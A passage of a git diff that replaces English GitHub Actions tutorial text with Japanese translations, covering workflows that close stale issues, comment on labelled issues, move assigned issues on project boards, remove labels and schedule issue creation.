+- ラベルの削除や、Issue が割り当てられている場合または特定のラベルがある場合のこのアクションのスキップなど、`andymckay/labeler` アクションで実行できる追加の機能の詳細については、[`andymckay/labeler` アクションのドキュメント](https://github.com/marketplace/actions/simple-issue-labeler)を参照してください。
+- ワークフローをトリガーできるさまざまなイベントの詳細については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows#issues)」を参照してください。 `andymckay/labeler` アクションは、`issues`、`pull_request`、または `project_card` イベントでのみ機能します。
+- このアクションを使用したワークフローの例については、[GitHub を検索](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) してください。
diff --git a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
index fe86fe79e4..101d1bd4ed 100644
--- a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
+++ b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Closing inactive issues
-intro: 'You can use {% data variables.product.prodname_actions %} to comment on or close issues that have been inactive for a certain period of time.'
+title: 非アクティブな Issue をクローズする
+intro: '{% data variables.product.prodname_actions %} を使用して、一定期間、非アクティブであった Issue にコメントしたり、Issue をクローズしたりすることができます。'
 redirect_from:
   - /actions/guides/closing-inactive-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This tutorial demonstrates how to use the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues) to comment on and close issues that have been inactive for a certain period of time. For example, you can comment if an issue has been inactive for 30 days to prompt participants to take action. Then, if no additional activity occurs after 14 days, you can close the issue.
+このチュートリアルでは、[`actions/stale` アクション](https://github.com/marketplace/actions/close-stale-issues)を使用して、一定期間非アクティブになっている Issue にコメントしてクローズする方法を説明します。 たとえば、Issueが 30 日間非アクティブであった場合にコメントして、参加者にアクションを実行するように促すことができます。 その後、14 日以上経っても追加のアクティビティが発生しない場合は、Issue をクローズできます。
 
-In the tutorial, you will first make a workflow file that uses the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues). Then, you will customize the workflow to suit your needs.
+チュートリアルでは、[`actions/stale` アクション](https://github.com/marketplace/actions/close-stale-issues)を使用するワークフローファイルを作成します。 次に、ニーズに合わせてワークフローをカスタマイズします。
 
-## Creating the workflow
+## ワークフローの作成
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 次の YAML コンテンツをワークフローファイルにコピーします。
 
     ```yaml{:copy}
     name: Close inactive issues
@@ -54,26 +54,26 @@ In the tutorial, you will first make a workflow file that uses the [`actions/sta
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every day at 1:30 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
-   - Change the value for `days-before-issue-stale` to the number of days without activity before the `actions/stale` action labels an issue. If you never want this action to label issues, set this value to `-1`.
-   - Change the value for `days-before-issue-close` to the number of days without activity before the `actions/stale` action closes an issue. If you never want this action to close issues, set this value to `-1`.
-   - Change the value for `stale-issue-label` to the label that you want to apply to issues that have been inactive for the amount of time specified by `days-before-issue-stale`.
-   - Change the value for `stale-issue-message` to the comment that you want to add to issues that are labeled by the `actions/stale` action.
-   - Change the value for `close-issue-message` to the comment that you want to add to issues that are closed by the `actions/stale` action.
+4. ワークフローファイルのパラメータをカスタマイズします。
+   - `on.schedule` の値を変更して、このワークフローの実行日時を指定します。 上記の例では、ワークフローは毎日 1:30 UTC に実行されます。 スケジュールされたワークフローの詳細については、「[スケジュールされたイベント](/actions/reference/events-that-trigger-workflows#scheduled-events)」を参照してください。
+   - `days-before-issue-stale` の値を、`actions/stale` アクションが Issue にラベルを付ける前にアクティビティがない日数に変更します。 このアクションで Issue にラベルを付けない場合は、この値を `-1` に設定します。
+   - `days-before-issue-close` の値を、`actions/stale` アクションが Issue がクローズされる前にアクティビティがない日数に変更します。 このアクションで Issue をクローズしない場合は、この値を `-1` に設定します。
+   - `stale-issue-label` の値を、`days-before-issue-stale` で指定された期間非アクティブであった Issue に適用するラベルに変更します。
+   - `stale-issue-message` の値を、`actions/stale` アクションでラベル付けされた Issue に追加するコメントに変更します。
+   - `close-issue-message` の値を、`actions/stale` アクションでクローズされた Issue に追加するコメントに変更します。
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## 期待される結果
 
-Based on the `schedule` parameter (for example, every day at 1:30 UTC), your workflow will find issues that have been inactive for the specified period of time and will add the specified comment and label. Additionally, your workflow will close any previously labeled issues if no additional activity has occurred for the specified period of time.
+`schedule` パラメータ（たとえば、毎日 1:30 UTC）に基づいて、ワークフローは指定された期間非アクティブであった Issue を検出し、指定されたコメントとラベルを追加します。 さらに、指定された期間に追加のアクティビティが発生しなかった場合、ワークフローは以前にラベル付けされた Issue をすべてクローズします。
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+ワークフローの実行履歴を表示して、このワークフローが定期的に実行されているかどうかを確認できます。 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。
 
-This workflow will only label and/or close 30 issues at a time in order to avoid exceeding a rate limit. You can configure this with the `operations-per-run` setting. For more information, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
+This workflow will only label and/or close 30 issues at a time in order to avoid exceeding a rate limit. これは、`operations-per-run` の設定で構成できます。 詳しい情報については、[`actions/stale` アクションのドキュメント](https://github.com/marketplace/actions/close-stale-issues)を参照してください。
 
-## Next steps
+## 次のステップ
 
-- To learn more about additional things you can do with the `actions/stale` action, like closing inactive pull requests, ignoring issues with certain labels or milestones, or only checking issues with certain labels, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) for examples of workflows using this action.
+- 非アクティブなプルリクエストをクローズする、特定のラベルやマイルストーンの Issue を無視する、特定のラベルの Issue のみを確認するなど、`actions/stale` アクションで実行できるその他の操作について詳しくは、[`actions/stale` アクションのドキュメント](https://github.com/marketplace/actions/close-stale-issues)をご覧ください。
+- このアクションを使用したワークフローの例については、[GitHub を検索](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) してください。
diff --git a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
index 43f42b40ce..845a7d9e62 100644
--- a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
+++ b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
@@ -1,6 +1,6 @@
 ---
-title: Commenting on an issue when a label is added
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically comment on issues when a specific label is applied.'
+title: ラベルが追加されたときに Issue にコメントする
+intro: '{% data variables.product.prodname_actions %} を使用して、特定のラベルが適用されたときに Issue に自動的にコメントすることができます。'
 redirect_from:
   - /actions/guides/commenting-on-an-issue-when-a-label-is-added
 versions:
@@ -18,17 +18,17 @@ shortTitle: Add label to comment on issue
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This tutorial demonstrates how to use the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment) to comment on an issue when a specific label is applied. For example, when the `help-wanted` label is added to an issue, you can add a comment to encourage contributors to work on the issue.
+このチュートリアルでは、[`peter-evans/create-or-update-comment` アクション](https://github.com/marketplace/actions/create-or-update-comment)を使用して、特定のラベルが適用されたときに Issue にコメントする方法を説明します。 たとえば、`help-wanted` ラベルが Issue に追加されたときに、コメントを追加して、コントリビューターに Issue への対応を促すことができます。
 
-In the tutorial, you will first make a workflow file that uses the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment). Then, you will customize the workflow to suit your needs.
+チュートリアルでは、最初に [`peter-evans/create-or-update-comment` アクション](https://github.com/marketplace/actions/create-or-update-comment) を使用するワークフローファイルを作成します。 次に、ニーズに合わせてワークフローをカスタマイズします。
 
-## Creating the workflow
+## ワークフローの作成
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 次の YAML コンテンツをワークフローファイルにコピーします。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -53,22 +53,22 @@ In the tutorial, you will first make a workflow file that uses the [`peter-evans
                 This issue is available for anyone to work on. **Make sure to reference this issue in your pull request.** :sparkles: Thank you for your contribution! :sparkles:
     ```
 
-4. Customize the parameters in your workflow file:
-   - Replace `help-wanted` in `if: github.event.label.name == 'help-wanted'` with the label that you want to act on. If you want to act on more than one label, separate the conditions with `||`. For example, `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` will comment whenever the `bug` or `fix me` labels are added to an issue.
-   - Change the value for `body` to the comment that you want to add. GitHub flavored markdown is supported. For more information about markdown, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)."
+4. ワークフローファイルのパラメータをカスタマイズします。
+   - `if: github.event.label.name == 'help-wanted'` 内の `help-wanted` を、実行するラベルに置き換えます。 複数のラベルを実行する場合は、条件を `||` で区切ります。 たとえば、`if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` は、`bug` または `fix me` ラベルが Issue に追加されるたびにコメントします。
+   - `body` の値を、追加するコメントに変更します。 GitHub Flavored Markdown がサポートされています。 マークダウンの詳細については、「[基本的な書き込みとフォーマットの構文](/github/writing-on-github/basic-writing-and-formatting-syntax)」を参照してください。
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## ワークフローのテスト
 
-Every time an issue in your repository is labeled, this workflow will run. If the label that was added is one of the labels that you specified in your workflow file, the `peter-evans/create-or-update-comment` action will add the comment that you specified to the issue.
+リポジトリ内の Issue にラベルが付けられるたびに、このワークフローが実行されます。 追加されたラベルがワークフローファイルで指定したラベルの 1 つである場合、`peter-evans/create-or-update-comment` アクションは、指定したコメントを Issue に追加します。
 
-Test your workflow by applying your specified label to an issue.
+指定したラベルを Issue に適用して、ワークフローをテストします。
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the specified label in your workflow file. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. To see the workflow run triggered by labeling the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you labeled should have a comment added.
+1. リポジトリで Issue をオープンします。 詳しい情報については、「[>Issue を作成する](/github/managing-your-work-on-github/creating-an-issue)」を参照してください。
+2. ワークフローファイル内の指定されたラベルで Issue にラベルを付けます。 詳しい情報については、「[ラベルを管理する](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)」を参照してください。
+3. Issue のラベル付けによってトリガーされたワークフローの実行を確認するには、ワークフローの実行履歴を表示します。 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。
+4. ワークフローが完了すると、ラベルを付けた Issue にコメントが追加されます。
 
-## Next steps
+## 次のステップ
 
-- To learn more about additional things you can do with the `peter-evans/create-or-update-comment` action, like adding reactions, visit the [`peter-evans/create-or-update-comment` action documentation](https://github.com/marketplace/actions/create-or-update-comment).
+- リアクションの追加など、`peter-evans/create-or-update-comment` アクションで実行できる追加の詳細については、[`peter-evans/create-or-update-comment` アクションのドキュメント](https://github.com/marketplace/actions/create-or-update-comment)にアクセスしてください。
diff --git a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
index 693c78b6c6..79be1a87e8 100644
--- a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
+++ b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Moving assigned issues on project boards
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a project board when the issue is assigned.'
+title: プロジェクトボードで割り当てられた Issue を移動する
+intro: '{% data variables.product.prodname_actions %} を使用して、Issue が割り当てられたときに、プロジェクトボードの特定の列に Issue を自動的に移動できます。'
 redirect_from:
   - /actions/guides/moving-assigned-issues-on-project-boards
 versions:
@@ -18,18 +18,18 @@ shortTitle: Move assigned issues
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a project board when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your project board.
+このチュートリアルでは、[`alex-page/github-project-automation-plus` アクション](https://github.com/marketplace/actions/github-project-automation)を使用して、Issue が割り当てられたときに、Issue をプロジェクトボードの特定の列に自動的に移動する方法を説明します。 たとえば、Issue が割り当てられたら、それをプロジェクトボードの [`In Progress`] 列に移動できます。
 
-In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs.
+チュートリアルでは、最初に[`alex-page/github-project-automation-plus` アクション](https://github.com/marketplace/actions/github-project-automation)を使用するワークフローファイルを作成します。 次に、ニーズに合わせてワークフローをカスタマイズします。
 
-## Creating the workflow
+## ワークフローの作成
 
 1. {% data reusables.actions.choose-repo %}
-2. In your repository, choose a project board. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. リポジトリで、プロジェクトボードを選択します。 既存のプロジェクトを使用することも、新しいプロジェクトを作成することもできます。 プロジェクトの作成の詳細については、「[プロジェクトボードを作成する](/github/managing-your-work-on-github/creating-a-project-board)」を参照してください。
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. 次の YAML コンテンツをワークフローファイルにコピーします。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -50,28 +50,28 @@ In the tutorial, you will first make a workflow file that uses the [`alex-page/g
               repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - Change the value for `project` to the name of your project board. If you have multiple project boards with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name.
-   - Change the value for `column` to the name of the column where you want issues to move when they are assigned.
-   - Change the value for `repo-token`:
-     1. Create a personal access token with the `repo` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
-     1. Store this personal access token as a secret in your repository. For more information about storing secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
-     1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret.
+5. ワークフローファイルのパラメータをカスタマイズします。
+   - `project` の値をプロジェクトボードの名前に変更します。 同じ名前のプロジェクトボードが複数ある場合、`alex-page/github-project-automation-plus` アクションは指定された名前のすべてのプロジェクトに対して動作します。
+   - `column` の値を、Issue が割り当てられたときに移動する列の名前に変更します。
+   - `repo-token` の値を変更します。
+     1. `repo` スコープを使用して個人アクセストークンを作成します。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。
+     1. この個人アクセストークンをシークレットとしてリポジトリに保存します。 シークレットの保存について詳しくは、「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
+     1. ワークフローファイルで、`PERSONAL_ACCESS_TOKEN` をシークレットの名前に置き換えます。
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## ワークフローのテスト
 
-Whenever an issue in your repository is assigned, the issue will be moved to the specified project board column. If the issue is not already on the project board, it will be added to the project board.
+リポジトリで Issue が割り当てられるたびに、その Issue は指定されたプロジェクトボード列に移動されます。 Issue がまだプロジェクトボードにない場合は、プロジェクトボードに追加されます。
 
-If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or user account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column.
+リポジトリがユーザ所有の場合、`alex-page/github-project-automation-plus` アクションは、指定されたプロジェクト名と列を持つリポジトリまたはユーザアカウント内のすべてのプロジェクトに対して動作します。 同様に、リポジトリが Organization 所有の場合、アクションは、指定されたプロジェクト名と列を持つリポジトリまたは Organization 内のすべてのプロジェクトに対して動作します。
 
-Test your workflow by assigning an issue in your repository.
+リポジトリに Issue を割り当てて、ワークフローをテストします。
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Assign the issue. For more information, see "[Assigning issues and pull requests to other GitHub users](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)."
-3. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you assigned should be added to the specified project board column.
+1. リポジトリで Issue をオープンします。 詳しい情報については、「[>Issue を作成する](/github/managing-your-work-on-github/creating-an-issue)」を参照してください。
+2. Issue を割り当てます。 詳しい情報については、「[GitHub の他のユーザに Issue およびプルリクエストをアサインする](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)」を参照してください。
+3. トリガーされた Issue を割り当てるワークフローの実行を確認するには、ワークフローの実行履歴を表示します。 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。
+4. ワークフローが完了したら、割り当てた Issue を指定されたプロジェクトボード列に追加する必要があります。
 
-## Next steps
+## 次のステップ
 
-- To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation).
+- リアクションの追加など、`alex-page/github-project-automation-plus` アクションで実行できる追加の詳細については、[`alex-page/github-project-automation-plus` アクションのドキュメント](https://github.com/marketplace/actions/github-project-automation)にアクセスしてください。
diff --git a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
index d28c687f5a..8881439bd3 100644
--- a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
+++ b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a label when a card is added to a project board column
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically remove a label when an issue or pull request is added to a specific column on a project board.'
+title: カードがプロジェクトボードの列に追加されたときにラベルを削除する
+intro: '{% data variables.product.prodname_actions %} を使用すると、プロジェクトボードの特定の列に Issue またはプルリクエストが追加されたときに、ラベルを自動的に削除できます。'
 redirect_from:
   - /actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column
 versions:
@@ -18,18 +18,18 @@ shortTitle: Remove label when adding card
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) along with a conditional to remove a label from issues and pull requests that are added to a specific column on a project board. For example, you can remove the `needs review` label when project cards are moved into the `Done` column.
+このチュートリアルでは、[`andymckay/labeler` アクション](https://github.com/marketplace/actions/simple-issue-labeler)を条件付きで使用して、プロジェクトボードの特定の列に追加された Issue とプルリクエストからラベルを削除する方法を説明します。 たとえば、プロジェクトカードが `Done` 列に移動されたときに `needs review` ラベルを削除できます。
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+チュートリアルでは、最初に [`andymckay/labeler` アクション](https://github.com/marketplace/actions/simple-issue-labeler)を使用するワークフローファイルを作成します。 次に、ニーズに合わせてワークフローをカスタマイズします。
 
-## Creating the workflow
+## ワークフローの作成
 
 1. {% data reusables.actions.choose-repo %}
-2. Choose a project that belongs to the repository. This workflow cannot be used with projects that belong to users or organizations. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. リポジトリに属するプロジェクトを選択します。 このワークフローは、ユーザまたは Organization に属するプロジェクトでは使用できません。 既存のプロジェクトを使用することも、新しいプロジェクトを作成することもできます。 プロジェクトの作成の詳細については、「[プロジェクトボードを作成する](/github/managing-your-work-on-github/creating-a-project-board)」を参照してください。
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. 次の YAML コンテンツをワークフローファイルにコピーします。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -54,28 +54,28 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - In `github.event.project_card.column_id == '12345678'`, replace `12345678` with the ID of the column where you want to un-label issues and pull requests that are moved there.
+5. ワークフローファイルのパラメータをカスタマイズします。
+   - `github.event.project_card.column_id == '12345678'`で、`12345678` を、そこに移動される Issue とプルリクエストのラベルを解除する列の ID に置き換えます。
 
-    To find the column ID, navigate to your project board. Next to the title of the column, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} then click **Copy column link**. The column ID is the number at the end of the copied link. For example, `24687531` is the column ID for `https://github.com/octocat/octo-repo/projects/1#column-24687531`.
+    列 ID を見つけるには、プロジェクトボードに移動します。 列のタイトルの横にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックし、[**Copy column link**] リンクをクリックします。 列 ID は、コピーされたリンクの末尾にある番号です。 たとえば、`https://github.com/octocat/octo-repo/projects/1#column-24687531` の列 ID は `24687531` です。
 
-     If you want to act on more than one column, separate the conditions with `||`. For example, `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` will act whenever a project card is added to column `12345678` or column `87654321`. The columns may be on different project boards.
-   - Change the value for `remove-labels` to the list of labels that you want to remove from issues or pull requests that are moved to the specified column(s). Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information on labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+     複数の列を操作する場合は、条件を `||` で区切ります。 たとえば、プロジェクトカードが列 `12345678` または列 `87654321` に追加されるたびに`if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` が動作する場合、 列は異なるプロジェクトボード上にある可能性があります。
+   - `remove-labels` の値を、指定された列に移動された Issue またはプルリクエストから削除するラベルのリストに変更します。 複数のラベルはコンマで区切ります。 たとえば、`"help wanted, good first issue"` というようにします。 ラベルの詳細については、「[ラベルを管理する](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)」を参照してください。
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## ワークフローのテスト
 
-Every time a project card on a project in your repository moves, this workflow will run. If the card is an issue or a pull request and is moved into the column that you specified, then the workflow will remove the specified labels from the issue or a pull request. Cards that are notes will not be affected.
+リポジトリ内のプロジェクトのプロジェクトカードが移動するたびに、このワークフローが実行されます。 カードが Issue またはプルリクエストであり、指定した列に移動された場合、ワークフローは、指定されたラベルを Issue またはプルリクエストから削除します。 注釈のカードは影響を受けません。
 
-Test your workflow out by moving an issue on your project into the target column.
+プロジェクトの Issue をターゲット列に移動して、ワークフローをテストします。
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the labels that you want the workflow to remove. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. Add the issue to the project column that you specified in your workflow file. For more information, see "[Adding issues and pull requests to a project board](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)."
-4. To see the workflow run that was triggered by adding the issue to the project, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-5. When the workflow completes, the issue that you added to the project column should have the specified labels removed.
+1. リポジトリで Issue をオープンします。 詳しい情報については、「[>Issue を作成する](/github/managing-your-work-on-github/creating-an-issue)」を参照してください。
+2. ワークフローで削除するラベルを使用して Issue にラベルを付けます。 詳しい情報については、「[ラベルを管理する](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)」を参照してください。
+3. ワークフローファイルで指定したプロジェクト列に Issue を追加します。 詳しい情報については、「[プロジェクトボードに Issue およびプルリクエストを追加する](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)」を参照してください。
+4. プロジェクトに Issue を追加することでトリガーされたワークフローの実行を確認するには、ワークフローの実行履歴を表示します。 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。
+5. ワークフローが完了すると、プロジェクト列に追加した Issue で、指定したラベルが削除されます。
 
-## Next steps
+## 次のステップ
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like adding labels or skipping this action if the issue is assigned or has a specific label, visit the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
+- ラベルの追加や、Issue が割り当てられている場合または特定のラベルがある場合はこのアクションをスキップするなど、`andymckay/labeler` アクションで実行できる追加の機能について詳しくは、[`andymckay/labeler` アクションのドキュメント](https://github.com/marketplace/actions/simple-issue-labeler)をご覧ください。
+- このアクションを使用したワークフローの例については、[GitHub を検索](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) してください。
diff --git a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
index eb41b3c838..34e84f34a7 100644
--- a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
+++ b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
@@ -1,6 +1,6 @@
 ---
-title: Scheduling issue creation
-intro: 'You can use {% data variables.product.prodname_actions %} to create an issue on a regular basis for things like daily meetings or quarterly reviews.'
+title: Issue の作成をスケジュールする
+intro: '{% data variables.product.prodname_actions %} を使用して、毎日の会議や四半期ごとのレビューなどの Issue を定期的に作成できます。'
 redirect_from:
   - /actions/guides/scheduling-issue-creation
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This tutorial demonstrates how to use the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action) to create an issue on a regular basis. For example, you can create an issue each week to use as the agenda for a team meeting.
+このチュートリアルでは、[`imjohnbo/issue-bot` アクション](https://github.com/marketplace/actions/issue-bot-action)を使用して定期的に Issue を作成する方法を説明します。 たとえば、Issue を毎週作成して Team 会議のアジェンダとして使用できます。
 
-In the tutorial, you will first make a workflow file that uses the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action). Then, you will customize the workflow to suit your needs.
+チュートリアルでは、最初に [`imjohnbo/issue-bot` アクション](https://github.com/marketplace/actions/issue-bot-action)を使用するワークフローファイルを作成します。 次に、ニーズに合わせてワークフローをカスタマイズします。
 
-## Creating the workflow
+## ワークフローの作成
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 次の YAML コンテンツをワークフローファイルにコピーします。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -57,7 +57,7 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
                 - [ ] Check-ins
                 - [ ] Discussion points
                 - [ ] Post the recording
-                        
+
                 ### Discussion Points
                 Add things to discuss below
 
@@ -68,25 +68,25 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
               GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every Monday at 7:20 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
